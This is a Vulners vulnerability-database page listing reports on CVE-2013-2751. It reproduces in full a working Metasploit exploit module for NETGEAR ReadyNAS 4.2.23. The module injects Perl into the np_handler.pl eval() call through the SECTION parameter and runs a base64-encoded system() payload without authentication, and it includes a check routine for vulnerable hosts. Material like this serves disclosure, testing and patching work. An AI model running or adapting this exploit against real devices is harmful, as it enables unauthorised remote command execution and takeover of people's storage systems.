| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| NETGEAR ReadyNAS Perl Code Evaluation Vulnerability | 25 Nov 201300:00 | – | zdt | |
| CVE-2013-2751 | 25 Nov 201300:00 | – | circl | |
| NETGEAR ReadyNAS np_handler Code Execution (CVE-2013-2751) | 5 Jun 201400:00 | – | checkpoint_advisories | |
| CVE-2013-2751 | 12 Dec 201318:00 | – | cve | |
| CVE-2013-2751 | 12 Dec 201318:00 | – | cvelist | |
| Netgear ReadyNAS - Perl Code Evaluation (Metasploit) | 25 Nov 201300:00 | – | exploitdb | |
| NETGEAR ReadyNAS Perl Code Evaluation | 24 Oct 201321:10 | – | metasploit | |
| NETGEAR ReadyNAS Remote Unauthenticated Command Execution | 24 Oct 201300:00 | – | nessus | |
| CVE-2013-2751 | 12 Dec 201318:55 | – | nvd | |
| NetGear RAIDiator (ReadyNAS) CSRF And Command Injection Vulnerabilities (Oct 2013) - Active Check | 25 Oct 201300:00 | – | openvas |
`##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR ReadyNAS Perl Code Evaluation',
'Description' => %q{
This module exploits a Perl code injection on NETGEAR ReadyNAS 4.2.23 and 4.1.11. The
vulnerability exists on the web fronted, specifically on the np_handler.pl component,
due to the insecure usage of the eval() perl function. This module has been tested
successfully on a NETGEAR ReadyNAS 4.2.23 Firmware emulated environment, not on real
hardware.
},
'Author' =>
[
'Craig Young', # Vulnerability discovery
'hdm', # diff the patch
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-2751' ],
[ 'OSVDB', '98826' ],
[ 'URL', 'http://www.tripwire.com/state-of-security/vulnerability-management/readynas-flaw-allows-root-access-unauthenticated-http-request/' ],
[ 'URL', 'http://www.tripwire.com/register/security-advisory-netgear-readynas/' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 4096, # Has into account Apache request length and base64 ratio
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet'
}
},
'Targets' =>
[
[ 'NETGEAR ReadyNAS 4.2.23', { }]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 12 2013'
))
register_options(
[
Opt::RPORT(443)
], self.class)
end
def send_request_payload(payload)
res = send_request_cgi({
'uri' => normalize_uri("/np_handler", ""),
'vars_get' => {
'PAGE' =>'Nasstate',
'OPERATION' => 'get',
'SECTION' => payload
}
})
return res
end
def check
res = send_request_payload(")")
if res and res.code == 200 and res.body =~ /syntax error at \(eval/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
my_payload = "#{rand_text_numeric(1)});use MIME::Base64;system(decode_base64(\"#{Rex::Text.encode_base64(payload.encoded)}\")"
print_status("#{peer} - Executing payload...")
send_request_payload(my_payload)
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation